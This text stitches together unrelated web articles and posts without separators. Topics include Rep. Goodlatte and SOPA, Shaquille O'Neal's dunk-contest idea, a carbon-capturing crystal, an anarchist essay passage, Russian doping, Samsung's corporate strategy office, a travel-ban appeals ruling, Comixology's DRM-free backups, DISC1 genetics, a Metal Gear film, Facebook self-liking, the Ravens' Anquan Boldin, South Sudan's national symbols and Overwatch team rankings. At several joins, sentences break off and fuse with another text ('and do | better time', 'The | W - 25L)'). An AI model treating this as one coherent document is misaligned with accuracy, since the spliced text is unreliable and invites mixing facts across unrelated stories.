Goodlatte's relationship with Silicon Valley companies that near-uniformly opposed SOPA hasn't always been this tempestuous. In the late 1990s, he visited the San Francisco area to tout legislation to protect Americans' electronic privacy by relaxing encryption export controls. He also supported an opt-out approach to federal spam legislation that was more First Amendment-protective, and did not sponsor an unsuccessful 2002 bill that would have let copyright owners legally hack into computers connected to peer-to-peer networks suspected of harboring pirated files.
More recently, he's sided with technology companies on some legislation. He supported a cybersecurity bill known as CISPA, which industry liked but privacy groups and local tea party groups loathed. And he sponsored a Netflix-backed bill to update 1980s-era federal privacy laws for the Internet.
Ryan Radia, associate director of technology studies at the free-market Competitive Enterprise Institute in Washington, said he was disappointed to see Goodlatte champion SOPA -- but thought he might be more tech-friendly than his predecessor in updating federal privacy law to require that police obtain warrants before reading Americans' e-mail or tracking their cell phone locations. The law is the 1986 Electronic Communications Privacy Act, or ECPA.
"Rep. Goodlatte strongly supported SOPA, including its extremely controversial DNS filtering provisions," Radia said. "But he did introduce an amendment (PDF) aimed at limiting SOPA's impact on foreign Web sites when only a portion of such a Web site was infringing. Hopefully Rep. Goodlatte will focus his energies on issues that advance Internet freedom, such as ECPA reform, rather than push policies that undermine it."CLEVELAND -- Shaquille O'Neal has a plan to save the NBA's All-Star dunk contest: Bring back the superstars and do it for devastated Haiti.
Following Tuesday night's win over Toronto, O'Neal was asked if he would like to see teammate LeBron James participate in this year's event. That's when he offered his idea. He would like to see former dunk champion Vince Carter, Kobe Bryant and others take part along with James.
"As his manager, I will only allow 'Bron to do the dunk contest if Vince Carter comes back out," O'Neal said. "If Kobe comes back out and if another big name comes back out. If we could get a big prize and have half of the money go to the people of Haiti and the other half to the winner.
"The guys that are in it, no disrespect to them, but there won't really be any competition for LeBron. I want to see Kobe. I want to see Vince and I will allow my client to enter."
Could he make it happen?
"I'm saying it now," O'Neal said. "So tweet it. Facebook it. E-mail it and hopefully it gets out. Vince, we're calling you out. Kobe, we're calling you out. We're calling everybody out. If those guys step up in the dunk contest, then I will allow my client to step up."
James has decided to skip next month's event in Dallas after originally saying he would participate.18th October 2015
New crystal captures carbon from humid gas
A new material with micropores might be a way to fight climate change. Scientists have created crystals that capture carbon dioxide much more efficiently than previously known materials, even in the presence of water.
One way to mitigate climate change could be to capture carbon dioxide (CO2) from the air. So far this has been difficult, since the presence of water prevents the adsorption of CO2. Complete dehydration is a costly process. Scientists have now created a stable and recyclable material, where the micropores within the crystal have different adsorption sites for carbon dioxide and water.
“As far as I know, this is the first material that captures CO2 in an efficient way in the presence of humidity,” says Osamu Terasaki, Professor at the Department of Materials and Environmental Chemistry at Stockholm University. “In other cases, there is competition between water and carbon dioxide and water usually wins. This material adsorbs both, but the CO2 uptake is enormous.”
The new material is called SGU-29, named after Sogang University in Korea, and is the result of international cooperation. It is a copper silicate crystal that forms two nanotube regions – one hydrophobic and one hydrophilic – repelling water while trapping carbon dioxide. The material could be used for capturing carbon directly from the atmosphere, and especially to clean emissions from power plants or other sources.
“CO2 is always produced with moisture, and now we can capture CO2 from humid gases. Combined with other systems that are being developed, the waste carbon can be used for new valuable compounds. People are working very hard and I think we will be able to do this within five years. The most difficult part is to capture carbon dioxide, and we have a solution for that now,” concludes Terasaki.
Major advances in carbon capture and storage will be needed if the world is to avoid 2°C or higher of global warming. Current emission plans by the world's nations ahead of the UN climate change conference in Paris next month fall well short of what is truly needed. Materials such as that demonstrated by Terasaki could pave the way towards a new generation of cheaper, more efficient and widespread carbon sequestration in the coming years and decades. His team's research is published this week in the journal Science.
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I don’t know where they get their energy from but what I do know is that I will always support someone willing to put in this kind of time and effort and do |
better time, and above all, the sense of a new dignity, fills the soul with high and magnanimous sentiments. So soon as the police, both political and civil, cease their functions and the masses become masters of the streets, the moral atmosphere changes, each feels themselves responsible for the prosperity and contentment of all; molestation of individuals is almost unheard of; even professional criminals pause in their sad career, for they too, feel that something great is passing through the air. Ah! if revolutionaries, instead of obeying a vague idea as they have almost always done, had formed a definite aim, a well-considered scheme of social conduct, if they had firmly willed the establishment of a new order of things in which every citizen might be assured bread, work, instruction, and the free development of their being, there would have been no danger in opening all prison gates to their full width, and saying to the unfortunates whom they shut in, “Go, brothers and sisters, and sin no more.”
It is always to the nobler part of humanity that we should address ourselves when we want to do great deeds. A general fighting for a bad cause stimulates their soldiers with promises of booty; a benevolent individual who cherishes a noble object encourages their companions by the example of their own devotion and self-sacrifice. For them, faith in their idea is enough. As says the proverb of the Danish peasants: “His will is his paradise.” What matters is that he is treated like a visionary! Even though his undertakings were only a chimera, he knows nothing more beautiful and sweet than the desire to act rightly and do good; in comparison with this vulgar realties are for him but shadows, the apparitions of an instant.
But our ideal is not a chimera. This, public opinion well knows; for no question more preoccupies it than that of social transformation. Events are casting their shadows before. Among individuals who think is there one who in some fashion or another is not a socialist — that is to say, who has not their own little scheme for changes in economic relations? Even the orator who noisily denies that there is a social question affirms the contrary by a thousand propositions. And those who will lead us back to the Middle Ages, are they not also socialists? They think they have found in a past, restored after modern ideas, conditions of social justice which will establish for ever the brotherhood of man. All are awaiting the birth of a new order of things; all ask themselves, some with misgiving, others with hope, what the morrow will bring forth. It will not come with empty hands. The century which has witnessed so many grand discoveries in the world of science cannot pass away without giving us still greater conquests. Industrial appliances, that by a single electric impulse make the same thought vibrate through five continents, have distanced by far our social morals, which are yet in many regards the outcome of reciprocally hostile interests. The axis is displaced; the world must crack that its equilibrium may be restored. In spirit revolution is ready; it is already thought — it is already willed; it only remains to realize it, and this is not the most difficult part of the work. The Governments of Europe will soon have reached the limits to the expansion of their power and find themselves face to face with their increasing populations. The super-abundant activity which wastes itself in distant wars must then find employment at home — unless in their folly the shepherds of the people should try to exhaust their energies by setting the Europeans against Europeans, as they have done before. It is true that in this way they may retard the solution of the social problem, but it will rise again after each postponement, more formidable than before.
Let economists and rulers invent political constitutions or salaried organizations, whereby the worker may be the friend of their master, the subject the brother of the potentate, we, “frightful Anarchists” as we are, know only one way of establishing peace and goodwill among women and men — the suppression of privilege and the recognition of right. Our ideal, as we have said, is that of the fraternal equity for which all yearn, but almost always as a dream; with us it takes form and becomes a concrete reality. It pleases us not to live if the enjoyments of life are to be for us alone; we protest against our good fortune if we may not share it with others; it is sweeter for us to wander with the wretched and the outcasts than to sit, crowned with roses, at the banquets of the rich. We are weary of these inequalities which make us the enemies of each other; we would put an end to the furies which are ever bringing people into hostile collision, and all of which arise from the bondage of the weak to the strong under the form of slavery, serfage, and service. After so much hatred we long to love each other, and for this reason are we enemies of private property and despisers of the law.• Taskforce leader to address IAAF council on Friday • New ARD report alleges very little has changed in Russia
The leader of the taskforce responsible for determining Russia’s participation at the Rio 2016 Olympics will address new allegations that little has changed in the country when the IAAF council meets in Monaco on Friday.
Why the IAAF must ensure Russia remains banned for Rio Olympics Read more
The Norwegian anti-doping expert Rune Andersen, the independent chairman of the taskforce, will respond to the allegations made in a new report from the German broadcaster ARD, the documentary team that first revealed the extent of widespread doping in Russia in December 2014.
The programme, Doping Top Secret: Russia’s Red Herrings – broadcast in Germany on Sunday – contained numerous undercover recordings showing some coaches are still actively dealing in performance-enhancing drugs and that the suspended Russian coach Vladimir Mokhnev is working with elite athletes. The programme also presented documentary evidence that new head of the Russian Anti-Doping Agency, Anna Anzelovich, had previously informed athletes about dates for doping tests.
The programme quoted Joseph de Pencier, the chairman of the International Association of National Anti-Doping Associations, who was “very sceptical” about claims Russia had reformed since it was banned from international athletics in November 2015: “When an official intentionally informs athletes in advance of doping tests, in order to defeat the doping control, disciplinary consequences must follow. This must be investigated and a consequence would be that this person is fired. We are very sceptical about Russian athletes. According to current knowledge, Russian athletes should not be allowed to compete at the 2016 Olympic Games.”Samsung is facing its biggest crisis in decades. Last month, as it was working to regain customer trust after last year’s problem with exploding smartphone batteries, the company’s de facto leader, Lee Jae-yong, was arrested on bribery charges.
On Tuesday, Samsung announced an organizational change that is likely to have a far-reaching impact: It’s shuttering the Corporate Strategy Office, the company’s nerve center.
This could be the beginning of the end for a bold experiment that was inaugurated by Lee’s father in the early 1990s. Samsung employed an unusual strategy of simultaneous cooperation and competition among its various business units. This strategy depended on strong leadership from the top, and now Samsung doesn’t seem to have the leadership it needs to continue the strategy.
And that’s a problem for Samsung because the company’s profitable smartphone business is facing fierce competition from cut-rate Chinese rivals. The company needs a unified strategy to address this threat. And with a highly distracted leader and no Corporate Strategy Office, executing such a strategy will be difficult.
Why the Corporate Strategy Office was key to Samsung’s success
Big conglomerates often face a choice between using internal and external suppliers. Suppose, for example, that Acme Corp. is building a cell phone and has to decide whether to use a screen created by Acme’s screen division or by an external supplier. There’s an advantage to both approaches: Using an internal supplier can allow for tighter collaboration and more learning on each side of the relationship, but there’s a danger that having a captive customer will make Acme’s screen division lazy.
Since the early 1990s, Samsung has taken an unusual approach: Use both an internal and an external supplier at the same time. When Samsung builds a new cell phone model, it will ship some units with Samsung-made components — screens, memory chips, batteries, and so forth — inside, and others with units supplied by third parties.
“Samsung affiliates do not receive special treatment when making deals with other Samsung affiliates,” wrote scholars Jaeyong Song, Kyungmook Lee, and Tarun Khanna in a deeply researched 2016 paper on Samsung’s culture. “They must be prepared to lose out to external suppliers if they are not competitive in quality, price, or time to delivery.”
Employees at the most successful divisions got bonuses that represented as much as 50 percent of their base salaries. Conversely, Samsung had a policy that “any business that incurred losses for three straight years (excluding new businesses) should be sold or liquidated,” Song and his colleagues wrote.
Healthy internal competition can keep everyone at a company on their toes. But if competition becomes bitter or gets out of control, it can be ruinous. If people feel they’re being unfairly compared to other parts of the company, they may be tempted to sabotage their rivals. They might withhold crucial information from rivals or blame failures on them, making the company as a whole less successful.
This is where the Corporate Strategy Office comes in. Lee Kun-hee, the father of the company’s current leader Lee Jae-yong, cultivated a cadre of Samsung executives who were more loyal to Samsung as a whole — and to him personally — than to any specific business unit. Rising stars within the company spend time in the Corporate Strategy Office, which has authority over promotion and transfers of senior executives.
“Senior managers in the finance and human resource management departments of affiliates check counterproductive behavior of senior executives,” Song and his co-authors write. “Most of those managers have work experience at the Corporate Strategy Office and maintain strong ties to the Office. Those managers directly report the counterproductive competitive behaviors of their senior executive to the Office.”
Of course, this approach only works if there’s a universally respected — or at least feared — figure at the top of the corporate hierarchy. Without it, the Corporate Strategy Office could simply become another battleground for infighting among Samsung’s many divisions.
And that’s the problem. Even before last month’s arrest, Lee Jae-yong had been struggling to build the kind of stature within Samsung that his father had enjoyed (the elder Lee is still alive but was forced into de facto retirement by a 2014 heart attack). But now with a bribery prosecution looming over his head and potential jail time in his future, it was going to be almost impossible for the younger Lee to exert the kind of power his father had.
And without a strong leader at the top, the value of Samsung’s Corporate Strategy Office is greatly diminished, so Samsung has decided to close it. It’s too early to say exactly how this will change Samsung, but most likely the company will turn into a more conventional conglomerate, with affiliates enjoying greater autonomy and less pressure to simultaneously cooperate and compete with their peers.
A leadership vacuum will make it hard to adapt to a changing smartphone market
There isn’t necessarily anything wrong with this — there are lots of conventional conglomerates whose various parts operate independently. The challenge is that a lack of central direction will make it harder for Samsung as a whole to respond forcefully to major competitive threats.
We last saw this around 2010, when Lee Kun-hee returned to the company after a two-year absence to lead Samsung’s response to the iPhone. Because Samsung has affiliates that make so many smartphone components, it was able to assemble a kind of smartphone dream team to make excellent, affordable smartphones and bring them to market more quickly than competitors that were working with a lot of external suppliers. The agility made possible by Samsung’s unusual structure allowed it to quickly shoot to the top of the smartphone market, where it has stayed ever since.
But Android phones are increasingly becoming a commodity, and Samsung is facing growing competition from dirt-cheap smartphone vendors in China. To maintain its healthy smartphone profits, Samsung needs to find a way to differentiate its own product — perhaps by offering unique software and services like you can find on the iPhone and Google’s Pixel phone.
But Samsung’s decentralized structure makes it difficult to create unified software platforms.
“Interviews with former and serving employees paint a picture of confusion and overlap between competing divisions, where the short-term interests of promoting hardware trump long-term efforts to build platforms that would add value for customers and increase their loyalty to the brand,” wrote Jeremy Wagstaff and Se Young Lee in a December 2015 report for Reuters.
“One said he only learned from someone outside the company that the hands-free app his team was updating for the upcoming Galaxy S4 launch had competition — from inside Samsung.” The manager became frustrated the software was seen “as little more than a marketing tool” within Samsung.
Samsung may need a cultural change to adapt to the next phase of the smartphone industry’s evolution. That kind of cultural change can only be initiated from the top. And the closure of Samsung’s Corporate Strategy Office suggests that they aren’t going to get that kind of leadership any time soon.WASHINGTON (AP) — The Latest on an appeals court ruling against the Trump administration's travel ban (all times local):
5:40 p.m.
Attorney General Jeff Sessions says the Justice Department will ask the Supreme Court to review an appeals court ruling that blocked President Donald Trump's travel ban.
The 4th U.S. Circuit Court of Appeals on Thursday ruled 10-3 against the travel ban. The decision bars the administration from suspending new visas for visitors from Iran, Libya, Somalia, Sudan, Syria and Yemen.
Sessions says the Justice Department "strongly disagrees" and will continue to vigorously defend Trump's order. He says the court's ruling blocks Trump's "efforts to strengthen this country's national security."
Sessions says Trump is not required to admit people from "countries that sponsor or shelter terrorism until he determines that they can be properly vetted" and don't pose a security threat.
___
4:50 p.m.
The White House says it remains confident that President Donald Trump's travel ban is lawful and ultimately will be upheld by the courts.
Spokesman Michael Short says the administration needs "every available tool at our disposal" to keep terrorists from entering the United States and committing violence.
The 4th U.S. Circuit Court of Appeals on Thursday ruled 10-3 against the travel ban. The decision bars the administration from suspending new visas for visitors from Iran, Libya, Somalia, Sudan, Syria and Yemen.
Short quotes one of the dissenters, Judge Dennis W. Shedd, in saying that the "real losers" are the millions of individual Americans whose security is threatened daily by those who seek to harm the U.S.
___
4:25 p.m.
The three dissenting judges who supported Donald Trump's travel ban say the court should not have looked to statements made by Trump during the presidential campaign.
The 4th U.S. Circuit Court of Appeals ruled 10-3 Thursday against Trump's travel ban.
Calling the executive order a "modest action," Judge Paul Niemeyer wrote that Supreme Court precedent required the court to consider the executive order without looking at Trump's statements. He says looking at the order on its face, "it is entirely without constitutional fault."
Niemeyer was joined by judges Dennis W. Shedd and G. Steven Agee. All three judges were appointed to the 4th Circuit by Republican presidents.
Niemeyer wrote that the order was issued in direct response to the risk of terrorism from six majority-Muslim countries. He says the ban was justified to ensure existing screening procedures were adequate.
___
3:10 p.m.
A federal appeals court ruling says President Donald Trump's revised travel ban vaguely invoked national security interests but is rooted in religious intolerance.
The chief judge of the 4th U.S. Circuit Court of Appeals, Roger L. Gregory, wrote in a ruling against the ban that it "speaks with vague words of national security." However, Gregory wrote, the ban "in context drips with religious intolerance, animus and discrimination."
The appeals court decision blocks the administration from suspending new visas for people from Iran, Libya, Somalia, Sudan, Syria and Yemen.
Omar Jadwat is the director of the ACLU's Immigrants' Rights Project and argued the case before the 4th U.S. Circuit Court of Appeals. He hailed the 4th Circuit ruling and says the ban is unconstitutional.
___
2:55 p.m.
The American Civil Liberties Union is hailing a federal appeals court's ruling against President Donald Trump's revised travel ban targeting six Muslim-majority countries.
Omar Jadwat is the director of the ACLU's Immigrants' Rights Project and argued the case before the 4th U.S. Circuit Court of Appeals. He said Thursday that the ban is unconstitutional. Jadwat says "the Constitution's prohibition on actions disfavoring or condemning any religion is a fundamental protection for all of us."
The appeals court decision blocks the administration from suspending new visas for people from Iran, Libya, Somalia, Sudan, Syria and Yemen.
The chief judge of the circuit, Roger L. Gregory, wrote in the ruling that the administration's national security interest appear to be a secondary justification "for an executive action rooted in religious animus and intended to bar Muslims from this country."
___
2:15 p.m.
A federal appeals court has dealt another blow to President Donald Trump's revised travel ban targeting six Muslim-majority countries.
The 4th U.S. Circuit Court of Appeals on Thursday upheld a lower court ruling that blocked the travel ban. It's the first appeals court to rule on the revised travel ban. Trump rewrote the ban after several legal defeats. His administration will likely appeal to the U.S. Supreme Court.
The appeals court decision blocks the administration from suspending new visas for people from Iran, Libya, Somalia, Sudan, Syria and Yemen.
A federal judge in Hawaii has also halted that provision and the freeze on the U.S. refugee program. Trump's administration is fighting that decision in the 9th U.S. Circuit Court of Appeals.Maybe Amazon's purchase of Comixology isn't the worst thing to ever happen after all. Comic book readers on iOS have been fuming over the loss of in-app purchases following the company's acquisition, but today during a panel at Comic Con, Comixology announced a new feature that users are certain to love: DRM-free backups. Customers can now download and store copies of books without being bothered by a DRM system that limits what they can do with content they rightfully own.
"For those out there who have not joined the comic reading community because of DRM, you have no excuse now," said co-founder John Roberts. Backups are available in high definition PDF and CBZ files and can be downloaded from the "My Books" section of Comixology's site.
Stripping DRM is a huge move that almost always angers publishers and content owners in any industry. So it should surprise absolutely no one that only a limited number of publishers are on board with Comixology's pro-consumer idea — at least right now. So far, those that have signed on include Image Comics, Dynamite Entertainment, Zenescope Entertainment, MonkeyBrain Comics, Thrillbent, and Top Shelf Productions. Convincing Marvel and DC to proceed down this path likely won't be an easy argument.
The company notes that all self-publishing clients can immediately choose to offer DRM-free backups through Comixology Submit. The new feature is solid evidence that Comixology is listening to its users. It's a shame the company and parent Amazon won't budge on their refusal to give Apple a 30 percent cut of sales, but at least now you actually own some of those comics you're buying.(ninja edit: transparency wasn't there.. fixed now?) OK then... as the requests increased recently, here is my concept for the DeviantART website!I want to call her "Miss Swatch" but am open to ideas... like maybe "Easelle" or something, haha. Something artsy!something to do with a painter's palette maybe? Hmm."Miss Swatch" might look a little unkempt, but then she's always too busy experimenting with new visual ideas and designs to care about any personal scruffiness. She would at least, every once in a while, use a tendril of magic to remove paint splashes or other mess from her coat and hair... but only because seeing any wayward colours might alter her mindset when approaching a new piece of art.It's not uncommon to see her with her mane wrapped up in a bundle like this, providing an unusual but convenient place to store some of the artistic implements which won't fit in her carry-sack. To prevent the need for too many such items, the paintbrush she keeps up there has interchangeable heads (which she keeps in the carry-sack), including electromagnetic-inductive tips for use with digital graphics tablets.Be it traditional or digital media, she'll always be eager to see the artistic work you've produced, and willing help you share it with the world.EDIT: here's a replacement logo to fit in the DA menu bar at the top of this site (thanks for the help!!) userstyles.org/styles/92921/my…In recent years, scientists have discovered several genetic mutations associated with greater risk of psychiatric diseases such as schizophrenia and bipolar disorder. One such mutation, known as DISC1 — an abbreviation for “Disrupted in Schizophrenia-1” — was first identified in a large Scottish family with high rates of schizophrenia, bipolar disorder and depression.
Studies have since shown that DISC1 mutations can lead to altered brain structure and impaired cognition, but it was unknown exactly how this occurs. A new study from Li-Huei Tsai, director of MIT’s Picower Institute for Learning and Memory, shows that DISC1 mutations impair a specific signaling pathway in neurons that is critical for normal brain development.
In a genetic screen of 750 people — some of whom were healthy and some of whom had psychiatric diseases — the researchers found several common variants of the DISC1 gene. However, even though these mutations disrupted normal brain development, they were not necessarily enough to cause disease on their own.
“A lot of the human population may carry this [genetic defect], and they probably actually have some defects in their brain development. However, it’s also pretty clear that that by itself it is not sufficient to cause psychiatric disorder,” Tsai says. “That’s very consistent with the notion that there probably has to be a combination of several different genetic variations to trigger a clinically measurable outcome.”
The study will appear in the Nov. 17 issue of the journal Neuron. Lead author of the paper is Karun Singh, a postdoc at the Picower Institute.
Disrupted development
In a study published in 2009, Tsai and her colleagues showed that the DISC1 gene regulates a cell signaling pathway known as Wnt. This pathway has been found to stimulate stem cell proliferation during embryonic development. Most importantly in terms of psychiatric disease, Wnt signaling promotes the proliferation of neuroprogenitor cells, immature cells that eventually become neurons.
“What we found is that DISC1 actually maintains the integrity of Wnt signaling,” Tsai says. “So if DISC1, for whatever reason, is lost, then Wnt signaling is impaired. This also resulted in impaired neuroprogenitor proliferation and brain development.”
Tsai and her colleagues showed that DISC1 regulates Wnt signaling by shutting off an enzyme known as Gsk3-beta. (Notably, Gsk3-beta is also the target of lithium, a common treatment for bipolar disease.) “We proposed in that paper that DISC1 is basically endogenous lithium, to maintain the integrity of Wnt signaling,” Tsai says.
In the new Neuron paper, Tsai’s lab investigated the impact of DISC1 mutations in the human population. Together with researchers from the Stanley Center for Psychiatric Research at the Broad Institute, they sequenced the DISC1 gene in more than 700 people — about half of them had schizophrenia or bipolar disorder, the rest were healthy — and identified several variants of the DISC1 gene.
However, none of those single mutations were significantly more common in the diseased population than the healthy population. “That suggests that DISC1 variants in humans, by themselves, do not cause disease,” Tsai says.
The researchers picked out four of the most common DISC1 mutations and tested their effects in mice, zebrafish and human cells. It turned out that three of those variants do lead to impaired Wnt signaling. However, some of those mutations were found in healthy people, so they are not enough to cause disease on their own.
The fourth variant did not affect Wnt signaling but did impair neurons’ ability to move to the proper location during brain development and form circuits with other cells.
Albert Wong, an associate professor of pharmacology at the University of Toronto, says the findings represent “an important step forward” in understanding how DISC1 mutations can lead to abnormal brain structure and function. “This paper by Tsai's lab makes the crucial link between disease-associated human DISC1 variants and Wnt/Gsk3-beta signaling and brain development,” says Wong, who was not involved in this research.
‘A remarkable organ’
Tsai says it is not surprising that even though the genetic defects clearly cause some malfunctions at the cellular level, they do not always lead to disease. “The brain is really a remarkable organ. It’s just so plastic and has this enormous capacity to compensate for any kinds of defects,” she says.
She expects that future studies will reveal other genetic mutations that are also necessary to produce schizophrenia and other psychiatric disorders.
In the Neuron paper, the researchers also examined Wnt signaling levels in people with bipolar disease and found that they were much lower than in healthy people, suggesting that bipolar disease and schizophrenia may share some of the same origins. “A lot of genes implicated in schizophrenia are also implicated in bipolar. Now, biochemically, it seems to be the case as well,” Tsai says.Don't let the fact that the Metal Gear Solid movie already has a director make you think that it's far along in its development. They're still writing and re-writing the script, after all, as Jordan Vogt-Roberts told GameSpot while promoting his live-action Destiny 2 trailer. The director simply managed to attach himself to the project unusually early because he cares about it.
Vogt-Roberts has a clear vision for what he wants the Metal Gear Solid movie to be, and his passion for MGS runs deep. The director even claims he knows why video game movie adaptations have, historically, sucked.
"I think it's a couple of things," Vogt-Roberts told GameSpot.
"I think that [filmmakers] have looked at a video game movie and said, 'Oh, that's flashy! That's cool!'...and there's very little desire to really understand the tone and the atmosphere," he said. "A big part of it is not fully committing to the source material, being able to say 'No, this is what makes this great, so let's figure out how we translate it.'"
He compares video game movies with comic book-based films, which have experienced an astoundingly successful renaissance in the past decade.
"After some of the stuff that was made very early on, Richard Donner [Superman] stuff, there was almost a 30-year gap where people couldn't make [comic book] movies," he said. "I think a lot of it, frankly, had to do with studios not understanding genre, and not understanding comic books, and then not putting filmmakers that they could trust, who also had an embedded love of these properties. And it took bringing guys like Sam Raimi, who actually had an invested interest and a love of Spider-Man from his youth, to sort of say, 'I understand cinema, I understand comic books, so how do we translate this?'"
In the early 2000s, Sam Raimi's Spider-Man movies and Bryan Singer's X-Men films seemed like the exceptions, not the rules. But since then, comic books movies have built on those foundations and become some of the most successful, influential, and lucrative films on the planet. Unsurprisingly, given his role and his hopes for the Metal Gear Solid movie, Vogt-Roberts attributes those successes to the passionate individuals behind the movies.
"I just don't think that the right filmmakers have been paired with video game adaptations yet--people who have had their DNA and their brains re-wired by games," he said. "If you grew up on video games, there's a language to those games that I think seeps into your brain at a very young age."
"For me, it really does go down to that simple thing of: What does a game make you feel?" he continued. "I don't care if you're playing Halo or Gears of War or Call of Duty or Destiny or Zelda or Metroid--all of those games make you feel something specific. Each of them has a definable difference in what they make you feel and how they make you feel those things. What I'm fascinated in is saying 'How do you intelligently, and in a cinematic language, recreate that feeling?'"
In Metal Gear Solid, the director cited the feelings of tension panic as you sneak around classic areas like Shadow Moses, avoiding and fleeing from enemies. "How do you recreate that type of tension?" he asked. Vogt-Roberts is fascinated by game design and video game mechanics, and he thinks the feelings games convey should form the core of any game adaptation. Then, you build a world, characters, and story around that.
"I'm just trying to be a part of a wave of guys who view the idea of talking about a movie and saying 'it feels like a video game,' as a positive thing as opposed to a negative thing," he said. "Soon people will not negatively associate games and movies. I think it will be a positive comparison."
If Vogt-Roberts is right, Metal Gear Solid might just turn out to be the Spider-Man of video game movies.
Check out GameSpot.com/universe and GameSpot Universe on YouTube for more coverage of all things gamers love, that aren't games!
Photo: Jordan Vogt-Roberts directing the Destiny 2 commercial, by Chase Madrid414.7k SHARES Share Tweet
Important Update: Facebook has discontinued the Ticker which pretty much makes the point of this post completely moot.
You still might want to like your own posts in order to “prime the pump” as they say, but you’ll no longer receive the other benefits explained below.
Note: Original post continues below…
If you’ve been using Facebook for a while you’ve probably noticed that many people “Like” their own posts just as soon as they post them.
While this could be viewed as a form of vanity (I mean really, is it cool to “Like” your own posts?), in most cases it isn’t vanity at work at all.
Facebook has made numerous changes to their user interface of late, and one of the most reviled changes of them all were changes to the news feed and the introduction of the Ticker.
Now, instead of seeing all of your friends’ posts, you only see a selected few (selected by Facebook of course) showing up in your news feed. Under the new “Edge Rank” system, friends that don’t “Like” and comment on your posts usually stop seeing them altogether before too long.
In order to compensate for not showing your posts in some of your friends’ news feeds, Facebook added the ticker – a box in the right-hand column that lists the activities of your friends as they happen. This is where “Liking” your own posts comes into play.
When you “Like” a post, that action is noted in your friends’ ticker boxes, giving them a chance to at least be made aware that you have posted something even if it doesn’t show up in their news feeds.
Here’s a short video by Lianne Anderson that does a fantastic job at explaining Facebook’s EdgeRank algorithm and how it affects the distribution of your posts to the Facebook community. I recommend that you take a few minutes to check it out:
As you can see, there’s a bit of mystery around Facebook’s EdgeRank algorithm, but there are several things you can do to reduce its negative effects on your Facebook marketing efforts. And one of the most effective tools you have at your disposal is simply “Liking” your own posts immediately after they are published on your Timeline.
Bottom line: The next time you see one of your friends “Like” their own post, they probably aren’t giving themselves a pat on the back. Instead, they’re giving you an opportunity to check out a post that might never make it into your news feed. I recommend that you “Like” your own posts as well!
Bonus tip #1: Read this post to find out how to lock your Facebook account down tight by enabling Two-Factor Authentication.
Bonus tip #2: Want to make sure you never miss one of my tips? Click here to join my Rick’s Tech Tips Facebook Group!
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Tony Lombardi says the Ravens need to bring Q back. Here’s another take.
I know what I’m about to write won’t be the popular opinion in Baltimore but all I ask is that you hear me out.
Earlier today, USA Today reported that Ravens wide receiver Anquan Boldin had rejected an offer to reduce his salary and will likely be released before the start of Tuesday’s free agency period. Without a doubt, the Ravens wouldn’t have hoisted the Lombardi trophy last month without his efforts, but clearly his $7.531 million cap figure for 2013 is a pill far too large to swallow.
Boldin’s play during the four playoff games it took the Ravens to win Super Bowl XLVII was stellar to say the least; however, I cannot allow it to cloud my judgment of the average-at-best regular season he produced prior to the playoffs.
Popular opinion around Charm City is to retain Boldin and many want to retain him no matter what, even if it accounts for greater than $7 million towards the Ravens’ upcoming salary cap. Personally, I would be happy to see Boldin return, but absolutely only under the condition that it’s at a drastically reduced cap figure.
Prior to the playoffs, Boldin produced 921 yards and pulled in four touchdown passes during the regular season. While Boldin had the most yards of his Ravens tenure, but he was still three touchdowns shy of what he produced during his first season in Baltimore.
For those concerned with Boldin’s potential impending absence affecting Baltimore’s $120 million investment in quarterback Joe Flacco – everything will be okay. Boldin had acted as Flacco’s security blanket to jump-start the offense but the same concern was presented after Derrick Mason’s release in 2010.
Just as Boldin became a reliable target for Flacco, it’s time for the transition to Torrey Smith, the wide receiver the Ravens have invested a second-round pick in and have seen blossom into one of the young wideout superstars in the league today.
Personally, I’d rather see more balls thrown to Smith than to Boldin.
Smith has shown he is ready for an increased workload and he is prepared to become the clear-cut #1 receiver on the team.
If Boldin does indeed walk out of Baltimore, his $6 million base salary can be better spent elsewhere. The Ravens are roughly $12 million under the salary cap heading into free agency and have plenty of holes to fill on their defense, regardless of whether or not they’re able to resign linebacker Dannell Ellerbe.
The Ravens will still have to assign tenders to restricted free agents like tight ends Dennis Pitta (likely a second-round, $2 million) and Ed Dickson (likely 3rd round) and Arthur Jones (likely 2nd round, $2 million). Heading into the draft, they also have 11 picks and will have to sign the newest additions to the team to contracts as well.
Freeing Boldin’s $6 million base salary greatly helps the Ravens retain some of their drafted talent who could be snatched away by other teams, and resign one of the top tier free agent linebackers already familiar with their system.
In a way, Boldin brought this upon himself when he stated after the season that he would retire if the Ravens relased him rather than go to another team. This planted the seed in the organization’s mind that they could offer him less money and he would likely accept. Now we find out that is not the case.
With wide receivers well below Boldin’s caliber – like Brian Hartline of the Miami Dolphins, who recently signed for 5 years and $30.775 million dollars – commanding so much on the open market, Boldin may have looked around and reconsidered his “retirement” stance.
Many say “Trust in Ozzie,” but when it comes to wide receivers he’s consistently missed. However, letting Boldin walk to solidify other areas of the team may be a “win” even though it goes against popular sentiment.Share Branding the World’s Newest Country by Anne Quito (3412 words) South Sudan’s Independence Day was set for only six months after the referendum that established the new country’s independence from Sudan. In that short time state symbols had to be proposed, refined, adopted and promulgated to a country still torn by internal conflict.
Sometimes the walls of a house are erected before the ground within is fully levelled. In many ways South Sudan, the world’s newest nation, is like a rough foundation dig surrounded by gilded cement walls. The symbols and semblance of nationhood exist: a flag, coat of arms, banknotes, a cultural complex, even a national beer. The visual marks of its national identity in place, it presents itself as a complete, if fledgling, country, a legitimate start-up nation able to fly its unique flag among the 192 others in the United Nations General Assembly. But as the ongoing civil war attests, the state of South Sudan is still disputed within its borders, divided along political and tribal lines into hostile factions. As a nation and as a concept, its citadel is erected on marshlands. The referendum that set South Sudan on the road to statehood was itself a demonstration of the importance—and the challenge—of choosing meaningful symbols. To ensure the widest possible participation in a region with a 27% literacy rate (according to UNESCO, the lowest in the world), the Southern Sudan Referendum Commission decided to use pictures to represent votes for separation from or continued unity with Sudan. But selecting symbols that would be readily understood across Southern Sudan’s more than 60 diverse tribal groups proved difficult, and the choice of two clasped hands to signify unity and an open palm to signify independence was the subject of much controversy. Still, the referendum resulted in a 98.83% affirmative vote for independence from Sudan, ending decades of civil war against the north. With the official declaration of independence set for July 9th, its officials had less than six months to gestate a nation and its symbols.
The |
W - 25L)
Immortals have rapidly improved since adding Kariv and Fate to the roster, developing their team as they head towards competition in the Overwatch League. They have not played any games since our last month’s rankings, and remain comfortably in the seventh position.
Immortals not only dominated the tier two North American competition - which is looking fierce in itself with FaZe, Kungarna, and FNRGFE - but then brought that performance against Rogue and pushed them to the limits.
Judging by their form throughout Contenders Season Zero and then their games in the BEAT Invitiational, Immortals should be a strong favourite to make playoffs in Contenders Season One and could quite possibly take games from the gods of NA, Rogue and EnVyUs.
